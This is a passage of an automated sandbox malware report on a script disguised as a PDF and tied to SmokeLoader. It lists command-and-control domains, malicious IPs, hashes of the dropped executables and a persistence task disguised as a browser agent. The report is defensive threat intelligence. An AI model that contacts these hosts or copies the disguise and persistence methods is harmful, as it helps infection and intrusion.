https://api.msn.com:443/v1/news/Feed/Windows?	explorer.exe, 00000009.00000000.1640285854.0000000002FA0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.2694950783.0000000006F94000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.2693087527.0000000002FA0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1641669934.0000000006F94000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/License	powershell.exe, 00000004.00000002.1594654043.0000023BEEC47000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://biegpmdfbwuaocv.org/	explorer.exe, 00000009.00000003.2158371858.000000000D48C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.2158696563.000000000D0B8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.2159742625.000000000D0ED000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.2704218980.000000000D494000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://www.msn.com/en-us/news/politics/california-workers-will-get-five-sick-days-instead-of-three-	explorer.exe, 00000009.00000002.2694950783.0000000006F94000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1641669934.0000000006F94000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://www.msn.com/en-us/money/careersandeducation/student-loan-debt-forgiveness-arrives-for-some-b	explorer.exe, 00000009.00000002.2694950783.0000000006F94000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1641669934.0000000006F94000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://schemas.micro	explorer.exe, 00000009.00000002.2696616097.0000000007B10000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000009.00000000.1642682648.0000000007AF0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000009.00000000.1640014437.0000000002C00000.00000002.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/recordhigh.svg	explorer.exe, 00000009.00000002.2694950783.0000000006F94000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1641669934.0000000006F94000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://www.msn.com/en-us/news/crime/bar-fight-leaves-man-in-critical-condition-suspect-arrested-in-	explorer.exe, 00000009.00000002.2694950783.0000000006F94000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1641669934.0000000006F94000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppin	explorer.exe, 00000009.00000002.2702499050.000000000D1B6000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.2159742625.000000000D1B6000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.2158696563.000000000D1B6000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1646718148.000000000D1B6000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://ceoconstractionstore.pl/	explorer.exe, 00000009.00000003.2158371858.000000000D48C000.00000004.00000001.00020000.00000000.sdmp	true		unknown
https://www.msn.com/en-us/money/companies/legacy-park-auction-canceled-liquidation-proposed-here-s-w	explorer.exe, 00000009.00000002.2694950783.0000000006F94000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1641669934.0000000006F94000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew	explorer.exe, 00000009.00000002.2694950783.0000000006F94000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1641669934.0000000006F94000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 00000004.00000002.1594654043.0000023BEEC47000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000004.00000002.1555298135.0000023BE0427000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1594654043.0000023BEEB04000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1594654043.0000023BEEC47000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://powerpoint.office.comcemberZ	explorer.exe, 00000009.00000002.2702499050.000000000CFF4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.2158696563.000000000D0B8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1646718148.000000000CFF4000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://xcltdjfoaardilo.net/	explorer.exe, 00000009.00000002.2704218980.000000000D494000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://ceoconstractionstore.pl/index.phpq	explorer.exe, 00000009.00000002.2705072858.000000000E0E0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://api.msn.com/X	explorer.exe, 00000009.00000002.2697965705.00000000093B4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1643693604.00000000093B4000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://www.msn.com/en-us/news/world/pastor-of-atlanta-based-megachurch-faces-backlash-after-controv	explorer.exe, 00000009.00000002.2694950783.0000000006F94000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1641669934.0000000006F94000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000004.00000002.1555298135.0000023BDEA91000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://assets.msn.com/weathermapdata/1/static/weather/taskbar/animation/WeatherInsights/WeatherInsi	explorer.exe, 00000009.00000002.2694950783.0000000006F94000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1641669934.0000000006F94000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://outlook.comNaP0B	explorer.exe, 00000009.00000002.2702499050.000000000D1B6000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.2159742625.000000000D1B6000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.2158696563.000000000D1B6000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1646718148.000000000D1B6000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.autoitscript.com/autoit3/J	explorer.exe, 00000009.00000000.1641669934.00000000070CE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.2158638981.00000000070D7000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000004.00000002.1555298135.0000023BE0427000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1594654043.0000023BEEB04000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1594654043.0000023BEEC47000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/money/personalfinance/the-no-1-phrase-people-who-are-good-at-small-talk-al	explorer.exe, 00000009.00000002.2694950783.0000000006F94000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1641669934.0000000006F94000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000004.00000002.1555298135.0000023BDECBD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/news/world/ukraine-live-briefing-biden-does-worry-house-drama-will-impact-	explorer.exe, 00000009.00000002.2694950783.0000000006F94000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1641669934.0000000006F94000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000004.00000002.1555298135.0000023BDECBD000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.msn.com/en-us/money/realestate/my-husband-and-i-paid-off-our-mortgage-more-than-15-years	explorer.exe, 00000009.00000002.2694950783.0000000006F94000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1641669934.0000000006F94000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings	explorer.exe, 00000009.00000000.1641669934.0000000006F94000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://go.micro	powershell.exe, 00000004.00000002.1555298135.0000023BDF6BD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://nqgjgifqepqt.com/application/x-www-form-urlencodedMozilla/5.0	explorer.exe, 00000009.00000002.2704218980.000000000D617000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.2160776082.000000000D615000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.2158231022.000000000D5DD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.2158577894.000000000D5E3000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://contoso.com/Icon	powershell.exe, 00000004.00000002.1594654043.0000023BEEC47000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT-dark	explorer.exe, 00000009.00000002.2694950783.0000000006F94000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1641669934.0000000006F94000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew	explorer.exe, 00000009.00000002.2694950783.0000000006F94000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1641669934.0000000006F94000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://biegpmdfbwuaocv.org/hpup	explorer.exe, 00000009.00000003.2158371858.000000000D48C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.2704218980.000000000D494000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://api.msn.com/v1/news/Feed/Windows?activityId=C2BB6DDCE8D847D6B779FE8AEC27D161&timeOut=5000&oc	explorer.exe, 00000009.00000002.2694950783.0000000006F94000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1641669934.0000000006F94000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://word.office.com576	explorer.exe, 00000009.00000002.2702499050.000000000D1B6000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.2159742625.000000000D1B6000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.2158696563.000000000D1B6000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1646718148.000000000D1B6000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://ebsdyhoseklppw.com/	explorer.exe, 00000009.00000002.2704218980.000000000D494000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://github.com/Pester/Pester	powershell.exe, 00000004.00000002.1555298135.0000023BDECBD000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.msn.com/en-us/news/opinion/decline-of-decorum-21-essential-manners-today-s-parents-fail-	explorer.exe, 00000009.00000002.2694950783.0000000006F94000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1641669934.0000000006F94000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://bestmagazineforanimalsunicum.ru	powershell.exe, 00000004.00000002.1555298135.0000023BDFDE5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1555298135.0000023BE00B4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1555298135.0000023BE00AF000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.msn.com/en-us/weather/topstories/california-s-reservoirs-runneth-over-in-astounding-reve	explorer.exe, 00000009.00000002.2694950783.0000000006F94000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1641669934.0000000006F94000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://crl.m	powershell.exe, 00000004.00000002.1605660173.0000023BF6D53000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://dneagbdmtkktop.org/	explorer.exe, 00000009.00000003.2158371858.000000000D48C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.2704218980.000000000D494000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://excel.office.comE	explorer.exe, 00000009.00000002.2702499050.000000000D1B6000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.2159742625.000000000D1B6000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.2158696563.000000000D1B6000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1646718148.000000000D1B6000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://nqgjgifqepqt.com/	explorer.exe, 00000009.00000002.2704218980.000000000D617000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.2160776082.000000000D615000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.2158231022.000000000D5DD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.2158577894.000000000D5E3000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://android.notify.windows.com/iOS	explorer.exe, 00000009.00000003.2159742625.000000000D1B6000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.2158696563.000000000D1B6000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1646718148.000000000D1B6000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/news/crime/one-dead-several-wounded-after-drive-by-shootings-in-south-la/a	explorer.exe, 00000009.00000002.2694950783.0000000006F94000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1641669934.0000000006F94000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/MostlyClearNight.svg	explorer.exe, 00000009.00000000.1641669934.0000000006F94000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://ceoconstractionstore.pl/index.php2	explorer.exe, 00000009.00000003.2158371858.000000000D48C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.2704218980.000000000D494000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://aka.ms/pscore68	powershell.exe, 00000004.00000002.1555298135.0000023BDEA91000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ebsdyhoseklppw.com/application/x-www-form-urlencodedMozilla/5.0	explorer.exe, 00000009.00000003.2160838999.000000000D611000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.2158231022.000000000D5DD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.2158577894.000000000D5E3000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://crl.v	powershell.exe, 00000004.00000002.1601037332.0000023BF6A90000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://api.msn.com/$	explorer.exe, 00000009.00000002.2697965705.00000000093B4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1643693604.00000000093B4000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://www.msn.com:443/en-us/feed	explorer.exe, 00000009.00000002.2694950783.0000000006F94000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1641669934.0000000006F94000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://dneagbdmtkktop.org/Si	explorer.exe, 00000009.00000003.2158371858.000000000D48C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.2704218980.000000000D494000.00000004.00000001.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.40.141.211	ceoconstractionstore.pl	Germany		24940	HETZNER-ASDE	true
193.46.217.78	bestmagazineforanimalsunicum.ru	Spain		203178	CUBENODEES	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1525803
Start date and time:	2024-10-04 15:09:11 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	3312.PDF.wsf renamed because original name is a hash value
Original Sample Name:	_i_300924_i_30_09_2024___UA973248410000000026006263312.PDF.wsf
Detection:	MAL
Classification:	mal100.troj.expl.evad.winWSF@9/5@3/2
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 100% Number of executed functions: 70 Number of non-executed functions: 15
Cookbook Comments:	Found application associated with file extension: .wsf

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 7248 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 3312.PDF.wsf

Simulations

Behavior and APIs

Time	Type	Description
09:10:24	API Interceptor	44x Sleep call for process: powershell.exe modified
09:11:00	API Interceptor	736x Sleep call for process: explorer.exe modified
15:11:00	Task Scheduler	Run new task: Firefox Default Browser Agent 1328DC9718E8D783 path: C:\Users\user\AppData\Roaming\wbfgshs

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.40.141.211	RmbF3635xY.exe	Get hash	malicious	SmokeLoader	Browse	ceoconstractionstore.pl/index.php
	abc0f6a2936703cd32608e7a0c06cd7b1da2f012ad7eb.exe	Get hash	malicious	CryptOne, Nymaim, PrivateLoader, RedLine, SmokeLoader, onlyLogger	Browse	gmpeople.com/upload/
	vwaoMjcyAw.exe	Get hash	malicious	SmokeLoader	Browse	selebration17io.io/index.php
	Qi4Mj8hG3t.exe	Get hash	malicious	SmokeLoader	Browse	selebration17io.io/index.php
	br0A8E2X6I.exe	Get hash	malicious	SmokeLoader	Browse	selebration17io.io/index.php
	setup.exe	Get hash	malicious	Babuk, Djvu	Browse	zexeq.com/test2/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4&first=true
	SecuriteInfo.com.Win32.Evo-gen.21074.1738.exe	Get hash	malicious	SmokeLoader	Browse	agressivemnaiq.xyz/
	A9BCD8D127BE95C64EDAE5CDD2379494A37D458FD9D5881D74F8D5487A805E6C.exe	Get hash	malicious	Bdaejec, SmokeLoader	Browse	host-data-coin-11.com/
	be1c79275d836696a00b258d15a8b337a8c9beb8198a5bd3d5aaf64d660c8005_dump.exe	Get hash	malicious	SmokeLoader	Browse	host-data-coin-11.com/
	EF2D1DE8BE7B216F6983BD43D120B512A0917EBE887F30D256ECA8395CE613CC.exe	Get hash	malicious	Bdaejec, SmokeLoader	Browse	host-data-coin-11.com/
193.46.217.78	RmbF3635xY.exe	Get hash	malicious	SmokeLoader	Browse	unicexpertmagazine.pw/index.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
unicexpertmagazine.pw	RmbF3635xY.exe	Get hash	malicious	SmokeLoader	Browse	193.46.217.78
	3388.PDF.hta	Get hash	malicious	SmokeLoader	Browse	185.219.7.204
	3312.PDF.scr	Get hash	malicious	SmokeLoader	Browse	45.143.201.14
ceoconstractionstore.pl	RmbF3635xY.exe	Get hash	malicious	SmokeLoader	Browse	188.40.141.211

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
HETZNER-ASDE	RmbF3635xY.exe	Get hash	malicious	SmokeLoader	Browse	188.40.141.211
	https://indexconectada.net.br/	Get hash	malicious	Unknown	Browse	85.10.195.17
	https://iasitvlife.ro	Get hash	malicious	Unknown	Browse	49.12.228.110
	https://iasitvlife.ro/stiri/local/a-sunat-la-call-center-anticoruptie-si-a-denuntat-un-functionar-public/	Get hash	malicious	HTMLPhisher	Browse	49.12.228.110
	Zxooek.exe	Get hash	malicious	FormBook	Browse	88.198.46.204
	MOfHb44mph.elf	Get hash	malicious	Unknown	Browse	144.76.53.154
	Full Litigation File.pdf	Get hash	malicious	Unknown	Browse	176.9.171.101
	file.exe	Get hash	malicious	RDPWrap Tool, Amadey, Socks5Systemz, Stealc, Vidar, Xmrig	Browse	49.12.197.9
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	49.12.197.9
	https://ahchoadeegu.homes?u=k8pp605&o=c9ewtnr&t=8845	Get hash	malicious	Unknown	Browse	178.63.248.56
CUBENODEES	RmbF3635xY.exe	Get hash	malicious	SmokeLoader	Browse	193.46.217.78
	https://public-usa.mkt.dynamics.com/api/orgs/656e8c66-5e77-ef11-ac1e-6045bd080c27/r/lmUG5F4EgUesqGwuJA5PigEAAAA?target=%7B%22TargetUrl%22%3A%22https%253A%252F%252Fcrm.interactivaclic.com%252Fn%252F%253Fc3Y9bzM2NV8xX29uZSZyYW5kPVNUVjBVakk9JnVpZD1VU0VSMjMwOTIwMjRVMjYwOTIzMjE%253DN0123N%22%2C%22RedirectOptions%22%3A%7B%225%22%3Anull%2C%221%22%3Anull%7D%7D&digest=HTFuI1dWNsWznL3K1x2s1mvQbKix%2BdykwHJYfkmm7o4%3D&secretVersion=a587597bbd2d4ba3bb4334f6d8be15ee	Get hash	malicious	Unknown	Browse	89.44.32.18
	cFvDKWB1V8.ps1	Get hash	malicious	XWorm	Browse	83.147.55.182
	New_Document-660111409161.wsf	Get hash	malicious	XWorm	Browse	83.147.55.182
	sora.arm.elf	Get hash	malicious	Mirai	Browse	83.147.57.108
	F24_023.pdf (1).js	Get hash	malicious	Unknown	Browse	83.147.53.197
	F24_023.pdf.js	Get hash	malicious	Unknown	Browse	83.147.53.197
	F24_023.pdf.js	Get hash	malicious	Unknown	Browse	83.147.53.197
	F24_023.pdf (1).js	Get hash	malicious	Unknown	Browse	83.147.53.197
	F24_023.pdf_1.js	Get hash	malicious	Unknown	Browse	83.147.53.197

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\oBuf.exe	RmbF3635xY.exe	Get hash	malicious	SmokeLoader	Browse
C:\Users\user\AppData\Local\Temp\oBuf.exe	3388.PDF.hta	Get hash	malicious	SmokeLoader	Browse
C:\Users\user\AppData\Roaming\wbfgshs	RmbF3635xY.exe	Get hash	malicious	SmokeLoader	Browse
C:\Users\user\AppData\Roaming\wbfgshs	3388.PDF.hta	Get hash	malicious	SmokeLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulxmH/lZ:NllUg
MD5:	D904BDD752B6F23D81E93ECA3BD8E0F3
SHA1:	026D8B0D0F79861746760B0431AD46BAD2A01676
SHA-256:	B393D3CEC8368794972E4ADD978B455A2F5BD37E3A116264DBED14DC8C67D6F2
SHA-512:	5B862B7F0BCCEF48E6A5A270C3F6271D7A5002465EAF347C6A266365F1B2CD3D88144C043D826D3456AA43484124D619BF16F9AEAB1F706463F553EE24CB5740
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	@...e................................. ..............@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0gosykqu.mc1.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mdqwmafj.ska.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\oBuf.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	222720
Entropy (8bit):	6.497652873737398
Encrypted:	false
SSDEEP:	3072:cCLQUfn8SJGo/zUYkkf0ivpXYXgNTe58xVSlh+jMAEqLJwp:cCL3fnNMEzUpkbvpIMjMAcp
MD5:	31059E7394B880F017E83804D9B716AB
SHA1:	2C0057C276D7D2020D1E5A60CA6D44E2FB91674E
SHA-256:	F488B4EB65D5F5339401FC0869E614433719E64A5156945B530F98C7D39452E1
SHA-512:	A31E40888FC80CE8E138833155A63EDDC7EA9D4A37BCEB95A46E2CE937E42DFC74DF34FC9869F95940EE0F73D00F3A72839F220F09499B4F28AA1B91E5B706F9
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 82%
Joe Sandbox View:	Filename: RmbF3635xY.exe, Detection: malicious, Browse Filename: 3388.PDF.hta, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........IB...B...B...\...^...\...Q...\.......eu..E...B...2...\...C...\...C...\...C...RichB...........................PE..L....`Ie.....................d....................@.........................................................................D...P....P.....................................................X........................................................text....~.......................... ..`.rdata.." ......."..................@..@.data...............................@....tls.........@......................@....rsrc.......P......................@..@........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\wbfgshs

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	222720
Entropy (8bit):	6.497652873737398
Encrypted:	false
SSDEEP:	3072:cCLQUfn8SJGo/zUYkkf0ivpXYXgNTe58xVSlh+jMAEqLJwp:cCL3fnNMEzUpkbvpIMjMAcp
MD5:	31059E7394B880F017E83804D9B716AB
SHA1:	2C0057C276D7D2020D1E5A60CA6D44E2FB91674E
SHA-256:	F488B4EB65D5F5339401FC0869E614433719E64A5156945B530F98C7D39452E1
SHA-512:	A31E40888FC80CE8E138833155A63EDDC7EA9D4A37BCEB95A46E2CE937E42DFC74DF34FC9869F95940EE0F73D00F3A72839F220F09499B4F28AA1B91E5B706F9
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 82%
Joe Sandbox View:	Filename: RmbF3635xY.exe, Detection: malicious, Browse Filename: 3388.PDF.hta, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........IB...B...B...\...^...\...Q...\.......eu..E...B...2...\...C...\...C...\...C...RichB...........................PE..L....`Ie.....................d....................@.........................................................................D...P....P.....................................................X........................................................text....~.......................... ..`.rdata.." ......."..................@..@.data...............................@....tls.........@......................@....rsrc.......P......................@..@........................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	Unicode text, UTF-8 text, with very long lines (1251), with CRLF line terminators
Entropy (8bit):	4.743513333591595
TrID:
File name:	3312.PDF.wsf
File size:	233'272 bytes
MD5:	701f5342e776f67438ee65a228b3d43d
SHA1:	a6a64eafe7d80017411bb18e8873f4623343fa66
SHA256:	19a2e0704d092bc44ba2802c45e6d845f6b912831c8a2b7f21d0b3d900408000
